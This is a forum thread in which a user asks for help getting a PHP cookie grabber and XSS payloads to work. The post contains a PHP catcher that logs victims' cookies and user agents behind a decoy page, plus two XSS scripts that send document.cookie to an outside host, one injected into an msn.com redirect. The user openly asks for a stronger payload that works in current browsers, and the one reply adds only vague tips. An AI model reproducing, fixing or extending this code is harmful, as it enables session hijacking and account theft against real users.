i need cookie grabber help on php
Well i made all , a log.txt, cookiegrabber.php, and redirect.php which contains xss script. but whenever i opened cookiegrabber.php its just show ip address, date, time but just cookie the main part it didnot show. But thats what i needed.
So first question, can i grab my own cookie or not? is this a server problem, or server restriction, or server different environment or my script problem or is this because of new browsers, the script goes like below
this catcher is ok it shows either
<?php
$cookie = $HTTP_GET_VARS["cookie"];
$date = date ("l ds of F Y h:i:s A");
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$file = fopen('log.txt','a');
fwrite($file,"DATE : $date || USER AGENT
:$user_agent || COOKIE : $cookie \n");
fclose($file);
echo '<b>Sorry, this page is under construction</b>
<br><br>Please click <a href="http://www.google.com">here</a>to go back to previous page'
?>
1st xss script try disable
<html>
<script type="text/javascript">
document.write("<a href='http://xyz.com/try/cookiecatcherr.php?cookie=" + document.cookie + ">CookieTest</a>");
</script>
</html>
2nd xss script try didnot work
<?php
header("Location: http://ilovemessenger.msn.com/?mkt=nl-nl');location.href='http://xyz.com/try/try.php?cookie='+escape(document.cookie);escape('");
exit;
?>
please give me any xss script which works at present. New browser may be advance and powerful so give me something extraordinary one if anybody know or give me any website links thanks
Re: i need cookie grabber help on php
I am not sure and not a master in this, if there is a function to grab cookie variables, but i think you can maybe use $_COOKIE var and $HTTP_COOKIE_VARS var.But maybe its better to search in php.net. I dont know using them because i never used them. You need to grab the cookies on the SITE you want the cookies for. Because another site, cannot access another site's Cookies if that makes sense.